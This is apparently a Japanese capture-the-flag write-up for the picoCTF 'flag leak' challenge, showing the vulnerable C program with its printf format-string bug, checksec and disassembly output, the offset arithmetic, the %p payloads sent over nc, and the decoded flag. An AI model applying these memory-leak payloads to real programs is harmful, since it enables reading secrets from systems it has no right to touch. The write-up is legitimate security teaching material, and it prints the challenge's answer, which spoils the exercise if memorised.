flag leak (Bianry Exploitation)
Story telling class 1/2
I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net 52043
添付ファイル
・vuln
・vuln.c
とりあえず、実行してみる。
$ nc saturn.picoctf.net 52043
Tell me a story and then I'll tell you one >> %p%p%p%p%p%p%p%p%p%p
Here's a story -
0xff81f0900xff81f0b00x80493460x702570250x702570250x702570250x702570250x702570250xffffff00(nil)
ソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
printf(story)のstoryのアドレスからreadflag(flag, FLAGSIZE)のflagのアドレスまでの差分をとて、%n$pでflagの内容を出力する。
$ checksec vuln
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/colza-picoctf/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
storyのアドレスを探す。
804939d: 8d 85 38 ff ff ff lea eax,[ebp-0xc8]
80493a3: 50 push eax
80493a4: e8 47 fd ff ff call 80490f0 <printf@plt>
0x8049392 <vuln+95> call puts@plt <puts@plt>
0x8049397 <vuln+100> add esp, 0x10 ESP => 0xffffced0 (0xffffcec0 + 0x10)
0x804939a <vuln+103> sub esp, 0xc ESP => 0xffffcec4 (0xffffced0 - 0xc)
► 0x804939d <vuln+106> lea eax, [ebp - 0xc8] EAX => 0xffffced0 ◂— 'aaaaaaaaaaaaaaaaaaaaa'
storyのアドレスが0xffffced0と分かる。
flagのアドレスを探す。
0x0804934f <+28>: push 0x40
0x08049351 <+30>: lea eax,[ebp-0x48]
0x08049354 <+33>: push eax
0x08049355 <+34>: call 0x80492b6 <readflag>
0x08049318 <+98>: mov eax,DWORD PTR [ebp+0xc]
0x0804931b <+101>: sub esp,0x4
0x0804931e <+104>: push DWORD PTR [ebp-0xc]
0x08049321 <+107>: push eax
0x08049322 <+108>: push DWORD PTR [ebp+0x8]
0x08049325 <+111>: call 0x8049100 <fgets@plt>
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
► 0x8049351 <vuln+30> lea eax, [ebp - 0x48] EAX => 0xffffcf50 —▸ 0xffffcfb8 —▸ 0xf7ffd020 (_rtld_global) ◂— ...
0x8049354 <vuln+33> push eax
0x8049355 <vuln+34> call readflag <readflag>
► 0x8049351 <vuln+30> lea eax, [ebp - 0x48] EAX => 0xffffcf50 —▸ 0xffffcfb8 —▸ 0xf7ffd020 (_rtld_global) ◂— ...
0x8049354 <vuln+33> push eax
0x8049355 <vuln+34> call readflag <readflag>
flagのアドレスが0xffffcf50と分かる。
0xffffcf50-0xffffced0=0x80
32bitであることに留意すると、0x80分のoffsetは0x80/0x4=0x20=32
である。入力からstoryまでのoffsetが4であり、FLAGSIZEが64であるから36~45を出力させれば良い。
$ nc saturn.picoctf.net 52043
Tell me a story and then I'll tell you one >> %36$p%37$p%38$p%39$p%40$p%41$p%42$p%43$p%44$p%45$p
Here's a story -
0x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x395f6b630x326539390x7d343238
これをcyberchefでFrom HEXする。
ocip{FTCk43L_gn1g4lFff0_4tS_9_kc2e99}428
並び替える。
フラグが得られた。
picoCTF{L34k1ng_Fl4g_0ff_St4ck_999e2824}
Reference